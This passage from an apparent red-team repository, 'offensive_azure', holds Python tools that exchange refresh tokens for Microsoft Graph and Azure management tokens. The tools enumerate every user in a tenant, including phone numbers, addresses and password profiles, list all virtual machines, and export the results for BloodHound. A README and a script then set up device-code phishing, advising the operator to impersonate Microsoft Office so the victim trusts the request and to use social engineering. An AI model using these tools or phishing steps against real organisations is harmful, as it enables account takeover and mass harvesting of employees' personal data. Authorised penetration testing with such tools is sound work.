193 | }
194 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_json_out:
195 | json.dump(bloodhound_json_data, bloodhound_json_out, indent = 4)
196 | with open(outfile_text, 'w+', encoding='UTF-8') as outfile:
197 | outfile.write(f'Tenant ID: {tenant_id}')
198 | outfile.write(f'Tenant Name: {tenant_name}')
199 | print(f'{SUCCESS}Tenant ID{RESET}: {tenant_id}')
200 | print(f'{SUCCESS}Tenant Name{RESET}: {tenant_name}')
201 |
202 | if __name__ == '__main__':
203 | main()
204 | sys.exit()
205 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/get_users.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import os
21 | import sys
22 | import time
23 | import base64
24 | import json
25 | import argparse
26 | import colorama
27 | import requests
28 |
29 | DESCRIPTION = '''
30 | ==========================================================
31 | # #
32 | # Uses the Microsoft Graph API to pull a full list of #
33 | # user details. #
34 | # #
35 | # If no ms_graph token or refresh_token is supplied, #
36 | # module will look in the REFRESH_TOKEN environment #
37 | # variable and request the ms_graph token #
38 | # #
39 | # Outputs condensed results in a text file, a raw json #
40 | # output file, and a json file compatible with #
41 | # BloodHound #
42 | # #
43 | ==========================================================
44 | '''
45 |
46 | # Set up our colors
47 | colorama.init()
48 | SUCCESS = colorama.Fore.GREEN
49 | DANGER = colorama.Fore.RED
50 | WARNING = colorama.Fore.YELLOW
51 | RESET = colorama.Style.RESET_ALL
52 | VALID = colorama.Fore.CYAN
53 |
54 | # For use querying graph api for users
55 | ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/users?$select='
56 | SELECT_PARAMS_DICT = {
57 | #'skills': 'User_Skills', List of user skills | Not currently supported
58 | #'responsibilities': 'User_Responsibilities', user responsibilities | Not currently supported
59 | #'schools': 'Schools_Attended', Schools the user attended | Not currently supported
60 | #'preferredName': 'User_Preferred_Name', preferred name for user | Not currently supported
61 | #'pastProjects': 'Past_User_Projects',List of past projects worked on | Not currently supported
62 | #'aboutMe': 'About_Me', User self description | Not currently supported
63 | #'birthday': 'Birthday', Birthday of user | Not currently supported
64 | #'hireDate': 'Hired_Date', date time of user hire Not currently supported (Sharepoint)
65 | #'interests': 'Interests', User described interests | Not currently supported
66 | #'mailboxSettings': 'Mailbox_Settings', Settings for primary mailbox of signed in user |
67 | # Not currently supported
68 | #'mySite': 'Personal_Site', User personal website | Not currently supported
69 | 'id': 'UID_Object_ID', # unique identifier / objectId
70 | 'accountEnabled': 'Account_Enabled', # true if enabled
71 | 'displayName': 'Display_Name', # Name displayed in address book
72 | 'givenName': 'First_Name', # User's first name
73 | 'surname': 'Last_Name', # User's last name
74 | 'userType': 'User_Type', # Member | Guest
75 | 'lastPasswordChangeDateTime': 'Last_Changed_Password',
76 | # Datetime when password last changed or created
77 | 'passwordPolicies': 'Password_Policies_Set',
78 | # DisabledStrongPassword | DisabledPasswordExpiration |
79 | # DisabledStrongPassword, DisabledPasswordExpiration
80 | 'passwordProfile': 'Password_Profile',
81 | # Displays user's password when profile is created
82 | 'companyName': 'Company_Name', # Company name associated with user
83 | 'createdDateTime': 'Created_On', # Date user object created
84 | 'creationType': 'Creation_Type', # school/work=null|external=Invitation|AAD B2C=LocalAccount|
85 | # self-service signup internal=EmailVerified|self-service signup external=SelfServiceSignUp
86 | 'deletedDateTime': 'Date_User_Deleted', # date and time user was deleted
87 | 'employeeId': 'Employee_ID', # Organization set employee identifier
88 | 'employeeType': 'Enterprise_Worker_Type', # Employee|Contractor|Consultant|Vendor
89 | 'employeeHireDate': 'Date_User_Hired', # date and time user was hired
90 | 'jobTitle': 'Job_Title', # User job title
91 | 'department': 'Department', # department where user works
92 | 'officeLocation': 'Office_Location', # Office location at place of business
93 | 'employeeOrgData': 'Employee_Organization_Data', # Includes the division worked in and
94 | # cost center associated with the user
95 | 'mail': 'Email', # SMTP address for the user
96 | 'mailNickname': 'Email_Alias', # Mail alias for user
97 | 'proxyAddress': 'Proxy_Email_Addresses', # other valid email addresses that proxy to user
98 | 'identities': 'Equivalent_Identities', # Multiple identites that may sign in as user
99 | 'otherMails': 'Alternate_Email', # additional email addresses for user
100 | 'imAddress': 'IM_VOIP_SIP_Address',
101 | # Instant message voice over IP session initiation protocol addresses
102 | 'businessPhones': 'Business_Phone_Numbers', # Telephone numbers for user
103 | 'mobilePhone': 'Mobile_Phone', # primary cellular phone number for user
104 | 'faxNumber': 'Fax_Number', # User's fax number
105 | 'country': 'Country', # Country User Located in
106 | 'state': 'State', # State user lives in
107 | 'city': 'City', # City User Located in
108 | 'streetAddress': 'Street_Address', # street address where user lives
109 | 'postalCode': 'Postal_Code', # User postal code
110 | 'ageGroup': 'Age_Group', # null|Minor|NotAdult|Adult
111 | 'consentProvidedForMinor': 'Consent_For_Minor_Provided', # null|Granted|Denied|NotRequired
112 | 'legalAgeGroupClassification': 'Legal_Age_Group',
113 | # null|MinorWithOutParentalConsent|MinorWithParentalConsent|
114 | # MinorNoParentalConsentRequired|NotAdult|Adult
115 | 'externalUserState': 'External_User_Invitation_Status', # PendingAcceptance|Accepted|null
116 | 'externalUserStateChangeDateTime': 'Exteranl_User_Invitation_Status_Last_Changed',
117 | # datetime when externalUserState last changed
118 | 'onPremisesDistinguishedName': 'Distinguished_Name_On-Prem', # On-Prem AD distinguished name
119 | 'onPremisesDomainName': 'Domain_Name-On-Prem', # On-Prem dnsDomainName/domainFQDN
120 | 'onPremisesExtensionAttributes': 'Custom_Exchange_Attributes_On-Prem', # ???
121 | 'onPremisesImmutableId': 'Immutable_ID-On_Prem', # Associates On-Prem AD to AAD User
122 | 'onPremisesLastSyncDateTime': 'Last_Time_Synced_With_On-Prem',
123 | # time at which synced with on-prem AD
124 | 'onPremisesProvisioningErrors': 'Errors_Syncing_With_On-Prem',
125 | # Errors when using Microsoft synchonization product during provisioning
126 | 'onPremisesSamAccountName': 'SAM_Account_Name_On-Prem',
127 | # On-Prem samAccountName synchronized from on-prem AD
128 | 'onPremisesSecurityIdentifier': 'Security_Identifier_(SID)_On-Prem',
129 | 'onPremisesSyncEnabled': 'On-Prem_Sync_Enabled',
130 | # synced=true | no longer synced=false | never synced=null
131 | 'onPremisesUserPrincipalName': 'User_Principal_Name_On-Prem',
132 | # On-Prem AD userPrincipalName
133 | 'preferredDataLocation': 'User_Preferred_Data_Location', # preferred data location for user
134 | 'preferredLanguage': 'User_Preferred_Language', # preferred language for the user
135 | 'provisionedPlans': 'User_Provisioned_Plans', # plans provisioned for the user
136 | 'assignedLicenses': 'Assigned_Licenses', # Licenses assigned to user (or group)
137 | 'licenseAssignmentStates': 'Current_License_States', # current state of license assignments
138 | 'assignedPlans': 'Assigned_Plans', # Plans assigned to user
139 | 'refreshTokensValidFromDateTime': 'Refresh_Token_Not_Valid_Before',
140 | # Any refresh tokens before this time are invalid
141 | 'showInAddressList': 'Show_User_In_Outlook_Address_List', # true | false
142 | 'signInSessionsValidFromDateTime': 'Sign-In_Session_Not_Valid_Before',
143 | # Any sessions before this time are invalid
144 | 'usageLocation': 'User_Usage_Location', # country code to help with legal requirements
145 | 'userPrincipalName': 'User_Principal_Name', # UPN - maps to email
146 | 'isResourceAccount': 'Is_Resource_Account' # Not currently used, reserved for future use
147 | }
148 |
149 | SELECT_PARAMS = []
150 | for param_key in SELECT_PARAMS_DICT:
151 | SELECT_PARAMS.append(param_key)
152 |
153 | SELECT_PARAMS_STRING = str(SELECT_PARAMS)[1:][:-1].replace('\'','').replace(' ', '')
154 |
155 | ENDPOINT = ENDPOINT_BASE + SELECT_PARAMS_STRING
156 |
157 | # For use when requesting new access tokens with refresh token
158 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
159 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
160 |
161 | # User agent to use with requests
162 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
163 |
164 | def transpose_user(user):
165 | """Takes in user result from Graph and morphs into something we want"""
166 | return_user = {}
167 | for prop, readable in SELECT_PARAMS_DICT.items():
168 | try:
169 | if isinstance(user[prop], list) and len(user[prop]) == 0:
170 | return_user[readable] = 'None'
171 | else:
172 | return_user[readable] = str(user[prop])
173 | except KeyError:
174 | pass
175 |
176 | return return_user
177 |
178 | def main():
179 | """Runner method"""
180 | arg_parser = argparse.ArgumentParser(
181 | prog='get_users.py',
182 | usage=SUCCESS + '%(prog)s' + RESET + \
183 | ' [-t|--graph_token ]' + \
184 | ' [-r|--refresh_token ]',
185 | description=DESCRIPTION,
186 | formatter_class=argparse.RawDescriptionHelpFormatter)
187 | arg_parser.add_argument(
188 | '-t',
189 | '--graph_token',
190 | metavar='',
191 | dest='graph_token',
192 | type=str,
193 | help='The ms_graph token you would like to use',
194 | required=False)
195 | arg_parser.add_argument(
196 | '-r',
197 | '--refresh_token',
198 | metavar='',
199 | dest='refresh_token',
200 | type=str,
201 | help='The refresh token you would like to use',
202 | required=False)
203 | arg_parser.add_argument('-R',
204 | '--refresh_token_file',
205 | metavar='',
206 | dest='refresh_token_file',
207 | type=str,
208 | help='A JSON file saved from token_juggle.py ' \
209 | 'containing the refresh token you would like to use.',
210 | required=False)
211 | arg_parser.add_argument('-o',
212 | '--outfile_path',
213 | metavar='',
214 | dest='outfile_path',
215 | type=str,
216 | help='The path of where you want '\
217 | 'the user data saved.'\
218 | '\nIf not supplied, module defaults to '\
219 | 'the current directory.',
220 | required=False)
221 |
222 |
223 | args = arg_parser.parse_args()
224 |
225 | # Handle outfile path
226 | outfile_path_base = args.outfile_path
227 | if outfile_path_base is None:
228 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_')
229 | elif outfile_path_base[-1] != '/':
230 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_')
231 | outfile_raw_json = outfile_path_base + 'users_raw.json'
232 | outfile_condensed = outfile_path_base + 'users_condensed.json'
233 | outfile_bloodhound = outfile_path_base + 'users_bloodhound.json'
234 |
235 | # Check to see if any graph or refresh token is given in the arguments
236 | # If both are given, will use graph token
237 | # If no token given, will check for a refresh token file
238 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
239 | if args.refresh_token is None and args.graph_token is None and \
240 | args.refresh_token_file is None:
241 | try:
242 | refresh_token = os.environ['REFRESH_TOKEN']
243 | except KeyError:
244 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
245 | arg_parser.print_help()
246 | sys.exit()
247 | elif args.refresh_token is None and args.graph_token is None:
248 | path = args.refresh_token_file
249 | try:
250 | with open(path, encoding='UTF-8') as json_file:
251 | json_file_data = json.load(json_file)
252 | json_file.close()
253 | except OSError as error:
254 | print(str(error))
255 | sys.exit()
256 | refresh_token = json_file_data['refresh_token']
257 | elif args.graph_token is not None:
258 | graph_token = args.graph_token
259 | else:
260 | refresh_token = args.refresh_token
261 |
262 | # If we have a refresh token, use it to request the necessary graph access token
263 | if refresh_token is not None:
264 | # Setting up our post request
265 | headers = {
266 | 'User-Agent': USER_AGENT
267 | }
268 | # body of our request
269 | data = {
270 | 'client_id': CLIENT_ID,
271 | 'resource': 'https://graph.microsoft.com',
272 | 'grant_type': 'refresh_token',
273 | 'refresh_token': refresh_token,
274 | 'scope': 'openid',
275 | }
276 |
277 | # Sending the request
278 | json_data = {}
279 | try:
280 | response = requests.post(URI, data=data, headers=headers)
281 | json_data = response.json()
282 | response.raise_for_status()
283 | except requests.exceptions.HTTPError:
284 | print(DANGER)
285 | print(json_data['error'])
286 | print(json_data['error_description'])
287 | print(RESET)
288 | sys.exit()
289 | graph_token = json_data['access_token']
290 |
291 |
292 | # Getting our first (only?) page of user results
293 | headers = {
294 | 'Authorization': 'Bearer ' + graph_token
295 | }
296 |
297 | response = requests.get(ENDPOINT, headers=headers).json()
298 | raw_json_data = {'value': []}
299 | users_result = {}
300 | try:
301 | response_users = response['value']
302 | except KeyError:
303 | print(f'{DANGER}Error retrieving users{RESET}')
304 | sys.exit()
305 | for user in response_users:
306 | raw_json_data['value'].append(user)
307 | users_result[user['id']] = transpose_user(user)
308 |
309 | try:
310 | next_link = response['@odata.nextLink']
311 | except KeyError:
312 | next_link = None
313 |
314 | # If next_link is not None, then the results are paged
315 | # We iterate through the paged results to build out our full user list
316 | while next_link is not None:
317 | response = requests.get(next_link, headers=headers).json()
318 | response_users = response['value']
319 | for user in response_users:
320 | raw_json_data['value'].append(user)
321 | users_result[user['id']] = transpose_user(user)
322 | try:
323 | next_link = response['@odata.nextLink']
324 | except KeyError:
325 | next_link = None
326 |
327 | # Go through our raw json response data and build out a more readable user collection
328 | condensed_json_data = {'users': {}}
329 | for object_id, values in users_result.items():
330 | condensed_json_data['users'][object_id] = {}
331 | for key, value in values.items():
332 | if key in ('Assigned_Plans', 'User_Provisioned_Plans',\
333 | 'Current_License_States', 'Assigned_Licenses'):
334 | continue
335 | if key == 'Custom_Exchange_Attributes_On-Prem':
336 | include_exchange_attr = False
337 | json_values = json.loads(value.replace('\'', '\"').replace('None', 'null'))
338 | for exchange_value in json_values.values():
339 | if exchange_value is not None:
340 | include_exchange_attr = True
341 | break
342 | if include_exchange_attr:
343 | condensed_json_data['users'][object_id][key] = value
344 | print(f'{SUCCESS}{key}{RESET}:\t{value}'.expandtabs(56))
345 | elif value != 'None':
346 | condensed_json_data['users'][object_id][key] = value
347 | print(f'{SUCCESS}{key}{RESET}:\t{value}'.expandtabs(56))
348 | print()
349 |
350 | # Save raw json to file
351 | print(f'{SUCCESS}[+]{RESET} Writing raw response data to {WARNING}{outfile_raw_json}{RESET}')
352 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_json_out:
353 | json.dump(raw_json_data, raw_json_out, indent = 4)
354 |
355 | # save condensed output to file
356 | print(f'{SUCCESS}[+]{RESET} Writing condensed response ' + \
357 | f'data to {WARNING}{outfile_condensed}{RESET}')
358 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_json_out:
359 | json.dump(condensed_json_data, condensed_json_out, indent = 4)
360 |
361 | # save bloodhound-users.json
362 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {WARNING}{outfile_bloodhound}{RESET}')
363 | user_count = len(raw_json_data['value'])
364 | parts = graph_token.split('.')
365 | payload = parts[1]
366 | payload_string = base64.b64decode(payload + '==')
367 | payload_json = json.loads(payload_string)
368 | token_tenant_id = payload_json['tid']
369 | bloodhound_json_data = {
370 | 'meta': {
371 | 'count': user_count,
372 | 'type': 'azusers',
373 | 'version': 4
374 | },
375 | 'data': []
376 | }
377 | for user in raw_json_data['value']:
378 | if '#EXT#' not in user['userPrincipalName']:
379 | tenant_id = token_tenant_id
380 | else:
381 | tenant_id = None
382 | bloodhound_json_data['data'].append({
383 | 'DisplayName': user['userPrincipalName'].split('@')[0],
384 | 'UserPrincipalName': user['userPrincipalName'],
385 | 'OnPremisesSecurityIdentifier': user['onPremisesSecurityIdentifier'],
386 | 'ObjectID': user['id'],
387 | 'TenantID': tenant_id
388 | })
389 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_json_out:
390 | json.dump(bloodhound_json_data, bloodhound_json_out, indent = 4)
391 |
392 | if __name__ == '__main__':
393 | main()
394 | sys.exit()
395 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/get_vms.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import os
21 | import sys
22 | import time
23 | import json
24 | import argparse
25 | import colorama
26 | import requests
27 |
28 | DESCRIPTION = '''
29 | ==========================================================
30 | # #
31 | # Uses Azure Resource Management API to pull a full #
32 | # list of virtual machines. #
33 | # #
34 | # If no ARM token or refresh_token is supplied, #
35 | # module will look in the REFRESH_TOKEN environment #
36 | # variable and request the ARM token #
37 | # #
38 | # Outputs a raw json output file, and a json file #
39 | # compatible with BloodHound #
40 | # #
41 | ==========================================================
42 | '''
43 |
44 | # Set up our colors
45 | colorama.init()
46 | SUCCESS = colorama.Fore.GREEN
47 | DANGER = colorama.Fore.RED
48 | WARNING = colorama.Fore.YELLOW
49 | RESET = colorama.Style.RESET_ALL
50 | VALID = colorama.Fore.CYAN
51 |
52 | # For use querying graph api for users and group membership
53 | ENDPOINT_BASE = 'https://management.azure.com/subscriptions/'
54 | ENDPOINT_VMS = '/providers/Microsoft.Compute/virtualMachines?api-version=2021-11-01'
55 | ENDPOINT_SUBS = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
56 |
57 | # For use when requesting new access tokens with refresh token
58 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
59 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
60 |
61 | # User agent to use with requests
62 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
63 |
64 | def main():
65 | """Runner method"""
66 | arg_parser = argparse.ArgumentParser(
67 | prog='get_vms.py',
68 | usage=SUCCESS + '%(prog)s' + RESET + \
69 | ' [-t|--arm_token ]' + \
70 | ' [-r|--refresh_token ]',
71 | description=DESCRIPTION,
72 | formatter_class=argparse.RawDescriptionHelpFormatter)
73 | arg_parser.add_argument(
74 | '-t',
75 | '--arm_token',
76 | metavar='',
77 | dest='arm_token',
78 | type=str,
79 | help='The arm token token you would like to use',
80 | required=False)
81 | arg_parser.add_argument(
82 | '-r',
83 | '--refresh_token',
84 | metavar='',
85 | dest='refresh_token',
86 | type=str,
87 | help='The ARM token you would like to use',
88 | required=False)
89 | arg_parser.add_argument('-R',
90 | '--refresh_token_file',
91 | metavar='',
92 | dest='refresh_token_file',
93 | type=str,
94 | help='A JSON file saved from token_juggle.py ' \
95 | 'containing the refresh token you would like to use.',
96 | required=False)
97 | arg_parser.add_argument('-o',
98 | '--outfile_path',
99 | metavar='',
100 | dest='outfile_path',
101 | type=str,
102 | help='The path of where you want '\
103 | 'the virtual machine data saved.'\
104 | '\nIf not supplied, module defaults to '\
105 | 'the current directory.',
106 | required=False)
107 |
108 | args = arg_parser.parse_args()
109 |
110 | # Handle outfile path
111 | outfile_path_base = args.outfile_path
112 | if outfile_path_base is None:
113 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_')
114 | elif outfile_path_base[-1] != '/':
115 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_')
116 | outfile_raw_json = outfile_path_base + 'virtual_machines_raw.json'
117 | outfile_bloodhound = outfile_path_base + 'virtual_machines_bloodhound.json'
118 |
119 | # Check to see if any graph or refresh token is given in the arguments
120 | # If both are given, will use graph token
121 | # If no token given, will check for a refresh token file
122 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
123 | if args.refresh_token is None and args.arm_token is None and \
124 | args.refresh_token_file is None:
125 | try:
126 | refresh_token = os.environ['REFRESH_TOKEN']
127 | except KeyError:
128 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
129 | arg_parser.print_help()
130 | sys.exit()
131 | elif args.refresh_token is None and args.arm_token is None:
132 | path = args.refresh_token_file
133 | try:
134 | with open(path, encoding='UTF-8') as json_file:
135 | json_file_data = json.load(json_file)
136 | json_file.close()
137 | except OSError as error:
138 | print(str(error))
139 | sys.exit()
140 | refresh_token = json_file_data['refresh_token']
141 | elif args.arm_token is not None:
142 | arm_token = args.arm_token
143 | else:
144 | refresh_token = args.refresh_token
145 |
146 | # If we have a refresh token, use it to request the necessary graph access token
147 | if refresh_token is not None:
148 | # Setting up our post request
149 | headers = {
150 | 'User-Agent': USER_AGENT
151 | }
152 | # body of our request
153 | data = {
154 | 'client_id': CLIENT_ID,
155 | 'resource': 'https://management.azure.com',
156 | 'grant_type': 'refresh_token',
157 | 'refresh_token': refresh_token,
158 | 'scope': 'openid',
159 | }
160 |
161 | # Sending the request
162 | json_data = {}
163 | try:
164 | response = requests.post(URI, data=data, headers=headers)
165 | json_data = response.json()
166 | response.raise_for_status()
167 | except requests.exceptions.HTTPError:
168 | print(DANGER)
169 | print(json_data['error'])
170 | print(json_data['error_description'])
171 | print(RESET)
172 | sys.exit()
173 | arm_token = json_data['access_token']
174 |
175 | # Grabbing the available subscriptions
176 | headers = {
177 | 'Authorization': 'Bearer ' + arm_token
178 | }
179 | subs_response = requests.get(ENDPOINT_SUBS, headers=headers).json()
180 | raw_json_data_subs = {
181 | 'value': subs_response['value']
182 | }
183 | try:
184 | next_link = subs_response['nextLink']
185 | except KeyError:
186 | next_link = None
187 | while next_link:
188 | subs_response = requests.get(next_link, headers=headers).json()
189 | for sub in subs_response['value']:
190 | raw_json_data_subs['value'].append(sub)
191 | try:
192 | next_link = subs_response['nextLink']
193 | except KeyError:
194 | next_link = None
195 |
196 | # We have our subs, now we need to grab the resource groups within each
197 | raw_json_data_vm = {'value': []}
198 | for sub in raw_json_data_subs['value']:
199 | sub_id = sub['subscriptionId']
200 | vm_response = requests.get(ENDPOINT_BASE + sub_id + ENDPOINT_VMS, headers=headers).json()
201 | for vm_entry in vm_response['value']:
202 | raw_json_data_vm['value'].append(vm_entry)
203 | try:
204 | next_link = vm_response['nextLink']
205 | except KeyError:
206 | next_link = None
207 | while next_link:
208 | vm_response = requests.get(next_link, headers=headers).json()
209 | for vm_entry in vm_response['value']:
210 | raw_json_data_vm['value'].append(vm_entry)
211 | try:
212 | next_link = vm_response['nextLink']
213 | except KeyError:
214 | next_link = None
215 |
216 | # We should have our complete list of resource groups now
217 | count = len(raw_json_data_vm['value'])
218 |
219 | # Process raw data
220 | bloodhound_json_data = {
221 | 'meta': {
222 | 'count': count,
223 | 'type': 'azvms',
224 | 'version': 4
225 | },
226 | 'data': []
227 | }
228 | for vm_entry in raw_json_data_vm['value']:
229 | rsg_group_sub = vm_entry['id'].split('/')[2]
230 | rsg_name = vm_entry['id'].split('/')[4]
231 | rsg_id = '/'.join(vm_entry['id'].split('/')[0:5])
232 | az_id = vm_entry['properties']['vmId']
233 | vm_name = vm_entry['name']
234 | bloodhound_json_data['data'].append({
235 | "AzVMName": vm_name,
236 | "AZID": az_id,
237 | "ResourceGroupName": rsg_name,
238 | "ResoucreGroupSub": rsg_group_sub,
239 | "ResourceGroupID": rsg_id
240 | })
241 |
242 | for prop, val in vm_entry.items():
243 | if val is not None:
244 | if prop == 'properties':
245 | print(f'{SUCCESS}{prop}{RESET}:')
246 | for prop_1, val_1 in val.items():
247 | if prop_1 in ['storageProfile', 'osProfile', 'networkProfile']:
248 | print(f'\t{SUCCESS}{prop_1}{RESET}:'.expandtabs(2))
249 | for prop_2, val_2 in val_1.items():
250 | if prop_2 in [
251 | 'imageReference',
252 | 'osDisk',
253 | 'linuxConfiguration',
254 | 'windowsConfiguration'
255 | ]:
256 | print(f'\t\t{SUCCESS}{prop_2}{RESET}:'.expandtabs(2))
257 | for prop_3, val_3 in val_2.items():
258 | if val_3 is not None:
259 | print(f'\t\t\t{SUCCESS}{prop_3}{RESET}:' \
260 | f'\t{str(val_3)}'.expandtabs(2))
261 | elif prop_2 in [
262 | 'dataDisks',
263 | 'secrets',
264 | 'networkInterfaces'
265 | ]:
266 | print(f'\t\t{SUCCESS}{prop_2}{RESET}:'.expandtabs(2))
267 | for each in val_2:
268 | for prop_3, val_3 in each.items():
269 | if val_3 is not None:
270 | print(f'\t\t\t{SUCCESS}{prop_3}{RESET}:' \
271 | f'\t{str(val_3)}'.expandtabs(2))
272 | else:
273 | if val_2 is not None:
274 | print(f'\t\t{SUCCESS}{prop_2}{RESET}:' \
275 | f'\t{str(val_2)}'.expandtabs(2))
276 | else:
277 | print(f'\t{SUCCESS}{prop_1}{RESET}:\t{str(val_1)}'.expandtabs(2))
278 | elif prop == 'resources':
279 | print(f'{SUCCESS}{prop}{RESET}:')
280 | for each in val:
281 | for prop2, val2 in each.items():
282 | if val2 is not None:
283 | print(f'\t{SUCCESS}{prop2}{RESET}: {val2}'.expandtabs(2))
284 | else:
285 | print(f'{SUCCESS}{prop}{RESET}:\t{str(val)}'.expandtabs(2))
286 |
287 | print()
288 |
289 | # Writing out raw data
290 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}')
291 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_out:
292 | json.dump(raw_json_data_vm, raw_out, indent=4)
293 |
294 | # Writing out bloodhound data
295 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}')
296 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out:
297 | json.dump(bloodhound_json_data, bloodhound_out, indent=4)
298 |
299 | if __name__ == '__main__':
300 | main()
301 | sys.exit()
302 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/requirements.txt:
--------------------------------------------------------------------------------
1 | certifi==2021.10.8
2 | charset-normalizer==2.0.12
3 | colorama==0.4.4
4 | idna==3.3
5 | requests==2.27.1
6 | urllib3==1.26.9
7 |
--------------------------------------------------------------------------------
/offensive_azure/Device_Code/README.md:
--------------------------------------------------------------------------------
1 | # device_code_easy_mode.py
2 |
3 | Original inspiration comes directly from [Dr. Azure AD](https://twitter.com/DrAzureAD) and his [AADInternals](https://o365blog.com/aadinternals/) project. He developed a workflow in PowerShell for creating the device code flow authentication process that required you to stand up and supply an SMTP server for the cmdlet to interact on.
4 |
5 | This didn't fit within our workflow at BLS so we decided to make a simpler tool that requests the device code for you, presents it to you, and polls the endpoint for any authentication events. It is up to you to stand up your own email infrastructure and conduct this phish in a successful way. Like the cmdlet in AADInternals, we use the application ID for Microsoft Office. This helps reassure the victim that they are interacting with a legitimate process.
6 |
7 | You have the option to set the targeted resource within the script. Just choose from the URIs presented. For AzureAD and AADInternals usage, you'll want to use `GRAPH`. This is supposed to be going away sometime in April 2022 in favor of `MS_GRAPH`.
8 |
9 | For use with all of the `Az` cmdlets, you'll need both `GRAPH` and `AZURE_MANAGEMENT` tokens. For this you'll need to use something like TokenTactics with your refresh token, for the time being, to request additional tokens once the device code flow authentication is completed.
10 |
11 | We will have a similar python solution to TokenTactics in the near term.
12 |
13 | ## Requirements
14 |
15 | `pip install -r ./requirements.txt`
16 |
17 | ## Usage
18 |
19 | - `python3 ./device_code_easy_mode.py`
20 | - Send your phish with the code your presented with as well as the `devicelogin` endpoint shown
21 | - Wait for the target to perform the required steps
22 | - The device code authentication flow expires after 15 minutes, social engineering may help you prep your target
23 |
--------------------------------------------------------------------------------
/offensive_azure/Device_Code/device_code_easy_mode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import sys
21 | import json
22 | import time
23 | import requests
24 |
25 | GET_DEVICE_CODE_ENDPOINT = \
26 | 'https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0'
27 |
28 | # Windows Core Management
29 | WIN_CORE_MANAGEMENT = 'https://management.core.windows.net'
30 |
31 | # Azure Management
32 | # For use in Az [powershell, will not access AzAD cmdlets without also supplying graph token]
33 | AZURE_MANAGEMENT = 'https://management.azure.com'
34 |
35 | # Graph (For use with Az/AzureAD/AADInternals)
36 | GRAPH = 'https://graph.windows.net'
37 |
38 | # Microsoft Graph (Microsoft is moving towards this from graph in 2022)
39 | MS_GRAPH = 'https://graph.microsoft.com'
40 |
41 | # Microsoft Manage
42 | MS_MANAGE = 'https://enrollment.manage.microsoft.com'
43 |
44 | # Microsoft Teams
45 | TEAMS = 'https://api.spaces.skype.com'
46 |
47 | # Microsoft Office Apps
48 | OFFICE_APPS = 'https://officeapps.live.com'
49 |
50 | # Microsoft Office Management
51 | OFFICE_MANAGE = 'https://manage.office.com'
52 |
53 | # Microsoft Outlook
54 | OUTLOOK = 'https://outlook.office365.com'
55 |
56 | # Substrate
57 | SUBSTRATE = 'https://substrate.office.com'
58 |
59 | # Set RESOURCE to one of the above resources you want to target
60 | # You can always use a refresh token to request one of these later,
61 | # but if you just know what you want you can set it here:
62 | RESOURCE = OUTLOOK
63 |
64 | def main():
65 | """Main runner function of the module. Handles the entire request-response transaction"""
66 | post_data = {
67 | 'resource': RESOURCE,
68 | 'client_id': 'd3590ed6-52b3-4102-aeff-aad2292ab01c',
69 | 'scope': 'openid',
